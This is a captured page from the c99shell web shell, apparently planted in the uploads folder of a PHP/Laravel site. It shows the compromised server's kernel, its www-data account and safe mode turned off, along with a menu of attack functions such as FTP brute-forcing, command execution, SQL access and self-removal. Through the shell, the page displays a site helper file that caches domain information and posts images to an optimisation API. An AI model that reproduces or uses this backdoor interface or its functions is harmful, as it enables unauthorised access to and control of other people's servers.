!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/Helper/   drwxr-xr-x
Free 13.34 GB of 57.97 GB (23.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Sitehelper.php (1.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
namespace App\Helper\Sitehelper;
use 
Cache;
use 
CURLFile;
class 
Sitehelper
{
    public static 
$domain;
    public static 
$full_domain;

    public static function 
domain($domain,$full_domain)
    {

        
Sitehelper::$domain=$domain;
        
Sitehelper::$full_domain=$full_domain;
        
$domain_info=domain_info();
        
        if (
$full_domain==env('APP_URL')) {
            if (
Cache::has('domain')) {
              
Cache::forget('domain');
            }
            return 
true;
        }
        if (
$domain_info != false) {
            
            if (
$domain_info['domain_name'] != $domain) {
                
                
Cache::forget('domain');
                return 
Sitehelper::domain($domain,$full_domain);
            }
        }            
        
        if (!
Cache::has('domain')) {

            
$value Cache::remember('domain'300,function () {
                
$data=\App\Domain::where('domain',Sitehelper::$domain)->where('status',1)->with('theme')->first();
                if (empty(
$data)) {
                    die();
                }
                
                
$info['domain_id']=$data->id;
                
$info['user_id']=$data->user_id;
                
$info['domain_name']= Sitehelper::$domain;
                
$info['full_domain']= Sitehelper::$full_domain;
                
$info['view_path']=$data->theme->src_path;
                
$info['asset_path']=$data->theme->asset_path;
                return 
$info;
            });
        }

    }

    public static function 
Optimize($path)
    {
        
$file $path;
        
$image_array=explode('/'$file);
        
$image_name=end($image_array);
        if (
file_exists($path)) {
            
        
        
$mime mime_content_type($file);
        
$info pathinfo($file);
        
$name $info['basename'];
        
$output = new CURLFile($file$mime$name);
        
$data = array(
            
"files" => $output,
        );

        
$ch curl_init();
        
curl_setopt($chCURLOPT_URL'http://api.resmush.it/?qlty=80');
        
curl_setopt($chCURLOPT_POST,1);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
curl_setopt($chCURLOPT_CONNECTTIMEOUT5);
        
curl_setopt($chCURLOPT_POSTFIELDS$data);
        
$result curl_exec($ch);
        if (
curl_errno($ch)) {
            
$result curl_error($ch);
        }
        
curl_close ($ch);

        
$res=json_decode($result);
        
$file=file_get_contents($res->dest);
        
\File::put($path,$file);
      }
    }    

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--